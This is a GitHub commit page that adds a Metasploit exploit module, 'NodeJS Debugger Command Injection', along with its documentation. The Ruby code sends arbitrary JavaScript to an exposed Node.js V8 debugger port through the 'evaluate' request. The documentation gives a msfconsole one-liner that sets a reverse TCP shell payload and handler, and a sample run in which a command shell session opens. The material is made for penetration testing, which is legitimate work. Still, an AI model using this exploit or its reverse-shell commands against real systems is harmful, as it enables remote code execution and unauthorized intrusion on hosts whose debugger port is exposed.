Skip to content

Commit 98ae054

Browse files
committed
Land rapid7#8931, Node.js debugger exploit
2 parents d234409 + 2966fb7 commit 98ae054

File tree

2 files changed

+154
-0
lines changed

2 files changed

+154
-0
lines changed
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
## Vulnerable Application
2+
3+
Current and historical versions of node (or any JS env based on the
4+
V8 JS engine) have this functionality and could be exploitable if
5+
configured to expose the JS port on an untrusted interface.
6+
7+
Install a version of node using any of the normal methods:
8+
* Vendor: https://nodejs.org/en/download/package-manager/
9+
* Distro: `sudo apt-get install nodejs`
10+
11+
Alternately, use standard node docker containers as targets:
12+
```
13+
$ docker run -it --rm -p 5858:5858 node:4-wheezy node --debug=0.0.0.0:5858
14+
```
15+
(Others at https://hub.docker.com/_/node/)
16+
17+
Tested on Node 7.x, 6.x, 4.x
18+
19+
## Verification Steps
20+
21+
1. Run a node process exposing the debug port
22+
```
23+
node --debug=0.0.0.0:5858
24+
```
25+
26+
2. Exploit it and catch the callback:
27+
28+
```
29+
msfconsole -x "use exploit/multi/misc/nodejs_v8_debugger; set RHOST 127.0.0.1; set PAYLOAD nodejs/shell_reverse_tcp; set LHOST 127.0.0.1; handler -H 0.0.0.0 -P 4444 -p nodejs/shell_reverse_tcp; exploit
30+
```
31+
(If using docker hosts as targets for testing, ensure that LHOST addr is accessible to the container)
32+
33+
Note that in older Node versions (notably 4.8.4), the debugger will not immediately process the incoming eval message. As soon as there is some kind of activity
34+
(such as a step or continue in the debugger, or just hitting enter), the payload will execute and the handler session will start.
35+
36+
37+
## Scenarios
38+
39+
### Example Run (Node 7.x)
40+
41+
Victim:
42+
```
43+
$ node --version
44+
v7.10.0
45+
$ node --debug=0.0.0.0:5858
46+
(node:83089) DeprecationWarning: node --debug is deprecated. Please use node --inspect instead.
47+
Debugger listening on 0.0.0.0:5858
48+
>
49+
(To exit, press ^C again or type .exit)
50+
```
51+
52+
Attacker:
53+
```
54+
msf exploit(nodejs_v8_debugger) > exploit
55+
56+
[*] Started reverse TCP handler on 10.0.0.141:4444
57+
[*] 127.0.0.1:5858 - Sending 745 byte payload...
58+
[*] 127.0.0.1:5858 - Got success response
59+
[*] Command shell session 4 opened (10.0.0.141:4444 -> 10.0.0.141:53168) at 2017-09-04 00:37:17 -0700
60+
61+
id
62+
(redacted)
63+
```
64+
Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::Tcp
10+
11+
MESSAGE_HEADER_TEMPLATE = "Content-Length: %{length}\r\n\r\n"
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => "NodeJS Debugger Command Injection",
16+
'Description' => %q{
17+
This module uses the "evaluate" request type of the NodeJS V8
18+
debugger protocol (version 1) to evaluate arbitrary JS and
19+
call out to other system commands. The port (default 5858) is
20+
not exposed non-locally in default configurations, but may be
21+
exposed either intentionally or via misconfiguration.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' => [ 'Patrick Thomas <pst[at]coffeetocode.net>' ],
25+
'References' =>
26+
[
27+
[ 'URL', 'https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md' ],
28+
[ 'URL', 'https://github.com/nodejs/node/pull/8106' ]
29+
],
30+
'Targets' =>
31+
[
32+
['NodeJS', { 'Platform' => 'nodejs', 'Arch' => 'nodejs' } ],
33+
],
34+
'Privileged' => false,
35+
'DisclosureDate' => "Aug 15 2016",
36+
'DefaultTarget' => 0)
37+
)
38+
39+
register_options(
40+
[
41+
Opt::RPORT(5858)
42+
])
43+
end
44+
45+
def make_eval_message
46+
msg_body = { seq: 1,
47+
type: 'request',
48+
command: 'evaluate',
49+
arguments: { expression: payload.encoded,
50+
global: true,
51+
maxStringLength:-1
52+
}
53+
}.to_json
54+
msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
55+
msg_header + msg_body
56+
end
57+
58+
def check
59+
connect
60+
res = sock.get_once
61+
disconnect
62+
63+
if res.include? "V8-Version" and res.include? "Protocol-Version: 1"
64+
vprint_status("Got debugger handshake:\n#{res}")
65+
return Exploit::CheckCode::Appears
66+
end
67+
68+
Exploit::CheckCode::Unknown
69+
end
70+
71+
def exploit
72+
connect
73+
# must consume incoming handshake before sending payload
74+
buf = sock.get_once
75+
msg = make_eval_message
76+
print_status("Sending #{msg.length} byte payload...")
77+
vprint_status("#{msg}")
78+
sock.put(msg)
79+
buf = sock.get_once
80+
81+
if buf.include? '"command":"evaluate","success":true'
82+
print_status("Got success response")
83+
elsif buf.include? '"command":"evaluate","success":false'
84+
print_error("Got failure response: #{buf}")
85+
else
86+
print_error("Got unexpected response: #{buf}")
87+
end
88+
end
89+
90+
end

0 commit comments

Comments
 (0)